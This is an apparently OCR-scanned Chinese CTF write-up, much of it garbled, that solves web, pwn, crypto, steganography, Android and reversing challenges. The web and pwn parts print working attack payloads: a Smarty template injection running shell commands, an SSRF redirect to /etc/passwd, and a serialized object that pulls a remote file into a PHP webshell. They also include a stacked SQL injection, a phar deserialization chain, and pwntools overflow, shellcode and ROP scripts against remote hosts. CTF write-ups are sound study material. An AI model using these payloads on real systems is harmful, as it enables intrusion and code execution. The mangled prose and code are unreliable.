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BRPAHETT

Firebasky/SiEE] 3650 I 21 1 2021-02-25 15:41:58

Web

HiefeMag=1, RIELF Rsmarty,

MR {$smarty.version},

FeThid gcat, FltacK IR smartyiE N8 T
I whflag={if passthru(“tac fI*")}{/if}

B A 3k f5flag



BRI HRIERERUISH, RssfE R
MR R AR R Behttp[s] 7Tk, AJE583028k%, B vps EHFA)E,
RIJERT AR F] <?php header("Location:file///etc/passwd");

ZJ& /etc/httpd/conf/httpd.conf KILA PA M 452 HI7E80AN8080% 1, 2 J5 L HN8080 K B2 R FFILHIAEH ,

<?php

class copy_file{

public $path = 'upload/';

public $file="yy.php";

public $url="http://127.0.0.1:80/?url=http://120.xxxx56/1.txt";

}

echo urlencode(serialize(new copy file()));

?>

NS HZ Vi, RfSflag

StAck3d 1nj3c

RIGTIEKRZ T, from, or, %A KRR,

2 JEHtE1:show tables%238 3B IEAN

£ A 1;SHOW PROCESSLIST%23 &/l Mk 2 IE1E 1B 1T

BRZER Array ( [0] => 1 ) Array ( [0] => 52 [1] => root [2] => localhost [3] => CTF [4] => Query [5] => @ [6]
=> logging slow query [7] => SHOW PROCESSLIST#||flag from Flag )

RARMEF T fEoracle BRE I B || SREZBFEFEPHE. BEmMysql RE AN, FEIFHEmMysql Kisql_modeti =

pipes_as_concat 3k Horacle i —LEIhRE .

X 175 Flpayload query=1;set sql_mode=PIPES_AS_CONCAT;select 1

file manager

I HHello, F12J5 KI5 B Hwrite, dir, unlink, uploadf T dirk Msandbox T 7 code.html,

2 Ja Vi A http://739¢3f33.yunyansec.com/sandbox/code . htmlk B 1S, BHEAFFETE, B Munlink, 1R% 518 2] Zpharx 551

'5.php*;
"<?="cat /flag ;";

@unlink("phar.phar");
new Phar("phar2.phar");
startBuffering();
setStub("<?php _ HALT_COMPILER();?>");

new game();
setMetadata($o);
addFromString("test.txt","test");
stopBuffering()"




Fburp & fupload bA &
TEhttp://739¢3f33.yunyansec.com/index.php?m=unlink
post##Efile=phar://./sandbox/5.jpg

2 J& Vi Ialhttp://739¢3f33.yunyansec.com/5.php Bl AT 3k &flag
PWN

pwn1

IR T T B A BR otk S Bk Bk s AT T

from pwn import

# p = process('./pwn.pwn')
p remote('129.226.4.186"', 10000)
payload = b'a'*0x48 + b'b'*4 + p32(0x804856d) p32(9)

p.sendline(payload)
p.interactive()
flag{happynewuerae2021}

pwn2

Hshellcode, gotAshellcodefjHhit

from pwn import
context.log level 'debug'’
context.arch 'amd64 '

# p = process('./pwn2")
p remote('129.226.4.186', 10001)

elf = ELF('./pwn2")

p.recv()

p.sendline(asm(shellcraft.sh()))

.recvuntil('hzwz?\n")
.sendline(str(elf.got[ 'puts']))
.recvuntil( "know: ")
.sendline(p64(0x601080))
.interactive()



http://739c3f33.yunyansec.com/index.php?m=unlink

from pwn import
context.log level 'debug'’
context.arch 'amd64 '

# p = process('./pwn3")
b = remote('129.226.4.186"', 10002)
elf ELF('./pwn3")

p.recvuntil('something: ')
p.sendline(hex(elf.got['read'])[2:])
p.recvuntil('something: ')
read int(p.recvuntil('\n")[:-1])
log.info('read: ' hex(read))

read ox0f7310

libc 0x045320

libc 0x18cel?
rdi = 0x0000000000400803
payload b'a'*ox30 p64(0xdeadbeat) p64(rdi) p64(binsh) p64(system)
p.recvuntil('code: ")
p.sendline(payload)

p.interactive()
flag{qiudalaogingnuewpn}

%pw5%§%%WE%%MM%%NWHWM@ﬂUﬁﬁEQKM%

package sample;

import java.nio.charset.Charset;
public class DeEnCode {
private static final String key© "2021.2.26";
private static final Charset charset Charset.forName("UTF-8");

private static byte[] keyBytes key@.getBytes(charset);

public static String encode(String enc) {
byte[] b = enc.getBytes(charset);
for (int i = @, size = b.length; i < size; i++) {
for (byte keyBytes® : keyBytes) {
b[i] (byte) (b[i] keyBytes®) ;

}

return new String(b);

public static void main(String[] args) {
System.out.print(encode("Q[VPLDRTWQBFAYJ]"));

//flag{sec@fuqin}

B %R 7ZpIT IF R Plsec.txt T & E INsec 4




GM4TGNRTGM3DMNRWGM2TGNRTGUZTCNRUGM4DGNZWGQ3DMMZSGM3DGNIWGAZTIMZXGM2DMNZTHAZTKNRXGM4TMOJI TGQZTEMZVGM4TGMI=

T T B 5 R base K R ) 4 i

K kbase32

3936336666353635316438376466323635673437346738356739693432353931

base16f# H — 5 321 K F 7 £
R BEMASEER, 468 HIMAT =SB, BUYEELEELERES, 53

963cc5651a87ac265d474d85d9f42591

ELmd5 AR Nsec2021, 18 Fflag{sec2021}

import gmpy2
from Crypto.Util.number import
from binascii import a2b_hex,b2a_hex

flag 1k sk ok ok ok ok ook ok ok ok ok ok sk ok ok 1

C 382309913162293996518235675906923010600446204121917377646323846805462562284515182388429652213947118483378324]
5944384444688946836215418821484073674465788585894381017767587199111146665315825719113960569991634730829499566453
0280816850482740530602254559123759121106338359220242637775919026933563326069449424391192

p 288057917712602594868569027290204386866703544412962471482078628360646578497353436182070981639017872873685697
68472521344635567334299356760080507454640207003

q 159918469709932133220726269015607499326863257664034048640233418107353192490663709160906409262190793688455104
44031400322229147771682961132420481897362843199

e 354611102441307572056572181827925899198345350228753730931089393275463916544456626894245415096107834465778409
5323731871253185546147225993017915289162128393681210660355410088082615345005860236527677122716257852042809646880
04680328300124849680477105302519377370092578107827116821391826210972320377614967547827619

d=int (gmpy2.invert(e,phi))
m=pow(c,d,n)

print(m)

SefELR ML — T nf8 Fpq

import gmpy2

d=gmpy2.invert(e, (p-1)*(q-1))
print d

flag{3031}




, 14, 96, 3, 9%, 5, 96, 9, 112, 4, 48, 7, 48, 3, 48, 0, 48, @0, 9, 6, 96, 6, 48, 1, 48, 6, 96, 11, 48,
96, 3, 96, 3, 96, 4, 48, 7, 96, 2, 48, @, 48, 1, 96, 11, 48, 11, 48, 2, 48, @, 96, 2, 48, 3, 96, 10, 48, 0O,
48, 4, 48, 7, 48, 0, 48, 6, 96, 1, 96, 3, 96, 15, 112]
flag = "'

for i in range(len(k)/2):
flag += chr((k[2*i]~2)+k[2*i+1])
print flag

//flag{6512bd43d9caabe02c990b0a82652dca}

MISC
LSP4i] 1+ 1

E3zip, KIWFEENY, #—PRIFESN=FWHCCH, AR Blerchtf#, 2 /Ezsteg—IERBUAT T T2 M2 KA

import binascii
import string
strings string.printable
pwd = ['"'] * 5
crcs [6x07d31356, ©Oxd878a99d, ©x4e25a843, Ox6e16e99d, ©x549248b9]
for a in strings:
for b in strings:
for c in strings:
crc binascii.crc32((a b c).encode())
for i in range(5):
if (crc & OxFFFFFFFF) crcs[i]:

pwd[1i] a+b+c

for i in pwd:
print(i, end="")

ZRFLE, MESDpng, WIEHHIspARAEERIsbfaE, zsteg—F, EZflagflag{bf2bc2545a4a5f5683d9ef3ed0d977e0}
Here are three packages!
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B tip1.txt - ig=A

MHE) REE) B0 ERNV) EEH)

Bt5h B+—4%H B+¥x BtyA Byt BAvY+ BRY+—

=147, E151 100% Windows (CRLF)  UTF-8

AEE R, BB, REFMG: 95693101M1RBENE, FFERUAH

T e @
fk{hbeawfikn .I;jsg[op{ewhtgfkjbarASPUJF923U5 RJO9key3Y2905-RYHWEIOT
{YU2390IETGHBF{}FUJse{ikogh{bwieukeyyjvgb"akkeysyh
{k;yhweaukyeyoitgbsdakey{jg89gS}OYHqw8{}9ifgbDFHIOGH)
{fbiosGFBJKSgbfuiyoEGJWEbfvyek

REWABHETFHATHF, BEWA



s="'fk{hbeawfikn .1;jsg[op{ewhtgfkjbarASPUJF923U5 RJ09key3Y2905-RYHWEIOT{YU2390IETGHBF{}FUJse{ikogh{bwieukeyyjvgb
"akkeysyh{k;yhweaukyeyoitgbsdakey{jg89gS}OYHqw8{}9ifgbDFHIOGHI{fbiosGFBIKSgbfuiyoEGIWEbfv}yek"

in d.keys():
d[x]=1
else:
d[x]=d[x]+1
print(sorted(d.items(), key lambda i:i[1],reverse=True))

PS> 2 -PY

[C'kY, 12), , 11y, ¢{', 18, ('b', 9), C'g', 93, C'¥', T, C'i', D, ('J', 6), ('9', 6), C'h', B), ('a
', 8, C'w', 5), ('s*, 5), ('o', B), ('F', 5), ("H', 5), C'j', 4, (C'u", ¢o', w, 'y, , Ce', W), C'c", 4, (
'}r,owy, Cs', 3, (2',3), (*3', 3, (', 3), Cu', 3), O '), (0, 02), Ceryp D), (O05Y,2), C'RY, D), (MO, 2),
Cw, 2, CT', 2), C'8, 2), Cv', 2), (8", ), C'n', 1, .0, 1, CL, L Cp, 1, Crr, 1), CAY, 1
), (P, 1), 4D, CR D, Cd D, e, D), 00D, Ok,

PS Z:\B A E> |

> Py
('e',

REWRBAITEHRER, REEANIOAE, BITTRBkey{bgfi9JaFHhosw}
fiR 55 R 156 3tip3.txt

TR AT ERE, RiEwhitediill 2&snow,

Text in Text Steganography Sample

Original Text: | Clear | (length: 140) Steganography Text: | Clear | (length: 260)
BEAZ-NATEBREORB5NE, MRS BTEIE0ST LR ENE 2 AT BEAZ-NXTELBTEIRGEEIE, FRiRESRFGIENRT LN E
fAFIBIE BEYV SR E MO E (S BAIME. BERBEI0YStesancsrarhy, FBETHEH {il A FOBR(E BBV R E (30 E (S BAIME. BERSETU#Steganoerachy, Fif
* O —F WA ERFE 5 BEARYE ESteganceraphia, EPHPEEFHBIE, FH “BW zgﬁﬁﬂ’]—tiﬂwéZ%‘E:*fﬁF.%E*ET%I'Ee-feganoaraohia. FREPEETHEIEIE B
BE" B,

Encode »

Hidden Text: | Clear | (length: 15)
key->Zero-Width

« Decode

Download Stego Text as File

PS Z:\hack\snwdos32> .\SNOW.EXE Zero-Width .\white.txt
flag{e3elcd2fa790e0b35795ef3b2ab3992b}

| PS Z:\hack\snwdos32> |

TRy n

, fiRJE3K B cattle. jog PA K zip,



steghide: could not extract any data with that passphrase!
root@ubuntu-virtual-machine: /home/ubuntu/SE# steghide extract -sf cattle.jpg

Enter passphrase:
wrote extracted data to "2.txt".
root@ubuntu-virtual-machine: /home/ubuntu/S[E# steghide extract -s

i 2 ) A S A A

awd@s. .120LP

’

RIBER, Wikzp, FBpng, HmEIKBEfag

'-E Lﬂ-ﬂ { el Sveta Secfovey }

Bahwe

android1

app#EAT THRERINE, JFiRHEAI R 23 dump dex, HE& T IR R Eapp KR4 -

JEHEA R T RE Napp&k A4,

L LAFEEER: RENH LT, FR:

Android Studio 3.0&7Edebug apk] manifest XM application #25 B H BRI android:testonly="true" JB.

BRI ZEERET, FTHRREIRCF, i MvaluesHstring xmis 3£ lflag.



flag{1FF9B2CCB90A2D943DBAA072DF0A279C}
android2

a1\ IE T (TR 5 A0 25 7Y

RorEss. Y_CMIQVK][E.

TR IEGA —MER KL TEREAER, BB e 4.

#tinclude <stdio.h>

#include <string.h>

char enc[] "ATY_CAMIQVK][E";

char s[] "2021.1.19";
int main(void)
{

int i =0, j = 0;
for(i

{

0; i strlen(enc); i++)

for(j 0; J strlen(s); j++)

enc[i] s[3l;

puts(enc);
)i
//flag{fuqginsec}

Re
rei

upxfii e, cH+RstEER, Bi—NEE:

call

.
_ INSt7  cxx1112basic_stringlcStlichar traitsIcESalcEECIEPKcRKS3  ; std::

; } // starts at 400E3B

lea rax, [rbp+var 61]

mowv rdi, rax

call _ ZNSaIcED1Ev  ; std::allocator<chars::~allocator()
mov rax, [rbp+var_78]

mov ;:;i__gfiépt aHjdppynewyear2 ; "hjdppynewyear2821"
mov rdi, rax

5 try

call _75teqIcSt11char_traitsTcESaTlcEEbRKNSTY  cxx1112basic_stringIT _T@ T1_FEPKS5_ ; std::
test al, al

jz short loc_400EFE72

oa

kThisIsFlag ; "ok.this is flag"
Stdcout@@GLIBCXX 3 4
ar_traitsIcEERSt13basic_ostreamIcT_ESS5_PKc ; std::operator<<<std::
8E

char_traits<char>>(std:

:ostream &,char const®)

flagf& hj4ppynewyear2021

re2

loc 408E72:
mov esi, offset unk_40115A
edi, offset _ZStdcout@@



1lint _ cdecl main_@(int argc, const char **argv, const char **envp)
2l
3| int v3; // eax
4| int v4; [/ eax
Iy
6| dword_42537C = 123400 * strlen(al234567890) + 31415926;
7| w3 = sub_4113BB{std::cout, "plz input vour key");
8| std::ostream::operator<<(v3, sub_411573);
9| std::istream::operator>>(std::cin, &dword_425380);
18| if ( dword_425380 == dword_42537C )
11 vd = sub_4113BB(std::cout, “"right");
12| else
13 vd = sub_4113BB(std::cout, “"wrong");
14| std::ostream::operator<<{v4, sub_411573);
15| return 8;
16(}
ida ¥TFF
.data:¥ud25udt db (5
.data:00425010 al234567890 db "1234567898°',0 ; DATA XREF: _main_|
.data:0042501B db e
.data:80842501C db e
.data:00842501D db e
.data:0042501E db e

dword_42537c I FTH# A KT R, REEEBANMBRMATUT. HEHTHE

getflag32649926

BR5

ER T EiEE

binwalk & F,

AT\ GE,

Wr Biflag 2 )\ AL R i A HF5E =2 33,
6B HEE RS

flag{20200606}

e 5 &

HE T HiAflag{698d51a19d8a121ce581499d7b701668}
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